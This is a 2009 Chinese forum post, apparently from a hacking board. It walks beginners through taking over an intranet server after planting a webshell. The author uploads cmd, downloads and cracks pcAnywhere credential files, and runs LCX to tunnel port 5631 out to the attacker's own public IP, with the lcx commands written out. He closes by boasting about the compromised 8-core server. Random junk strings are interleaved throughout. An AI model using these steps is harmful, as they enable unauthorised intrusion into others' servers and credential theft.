|
 
- 帖子
- 199
- 积分
- 724
- 威望
- 508
- 金钱
- 10463
- 在线时间
- 185 小时
      
|
很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。
0 X: E$ j& J! V* A+ z& ]5 F2 R/ i- l
) ^# ]. N/ |3 R: e提权方法：pcanywhere+LCX
' |3 {3 X$ i- Y+ R; @
, J* b% _# Z2 W7 A& c获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。0 N( c; Y0 D1 u: s5 [
9 E4 ?' K1 \/ i# q3 ]2 ^
在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。
. Y7 n# s( @7 H' J1 r, j* C9 t/ U% N- X4 A+ w& w
3 V5 S% V7 ^( |4 z$ r" G G查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。
- n6 ~* K Q0 D5 }1 _) f: u# l! L9 x% T( C2 f
A$ O9 Y% P: q' p U呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。
; @/ e" m. E$ w4 \, m' W
; ^) R" F" Z* ~! n6 M" M$ I7 O R* X; F& E
" _3 Y7 U6 c7 a. Q# J# f
3 {5 W1 Q" g, P* b7 m3 X7 u
由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``# l1 O' y% f3 C
. c: D; I& N0 s/ {! O
; P9 y# p/ b. S9 G! D" d; I4 SLCX的用法再简单说下：8 R* q/ d5 n9 z L
Y1 Y. j1 B& {* w/ G
服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）2 T+ x7 J6 X" E6 B6 n; u" f* ?, Q
/ P+ R/ B1 E$ h: }& C
本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）
( _2 J6 B$ h& @+ i3 F# w
0 V( ~/ r) i! U, a7 X1 J+ y由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。
6 y( M* K# x5 K) |9 {% Y) d顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``
( \) v9 B/ D/ F2 X: t3 E* G* y! r5 F1 k8 M
: I4 P! s6 k6 `+ |2 Z, q4 P+ x0 U ]
c5 I* [$ t, _$ w4 K! c& v
呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。( x# t. s$ o& D# ]& W
. `( S* k- y; ]) d* H4 i
; {2 r+ X- Z1 y6 m3 @3 h w# J( P. |' p/ b8 {# E& h
; i- W) {4 F9 V) M6 ~4 b我们本地连接试试，输入我们刚破解的账号密码
( k' t7 ]* E8 @) g6 w# \! t, ~3 x8 u5 i& s' F9 n% }0 r& x; j- ^
6 t8 N# e, ^# C! w' E" d6 |呵呵``连接成功,服务器不错，又一个8核^︵^% l& L, s* ]/ ?: W, g8 Z2 Y/ z" |
7 k& A, W# B- J, s8 n( m. ]
! F9 r8 p1 }8 j- \
2 p( g3 P3 V1 ~6 |5 ~- e
|
附件: 您需要登录才可以下载或查看附件。没有帐号？注册
-
1
评分人数
-
|
发表于 2009-7-5 21:35
| 
发表于 2009-7-5 21:37
| .gif)
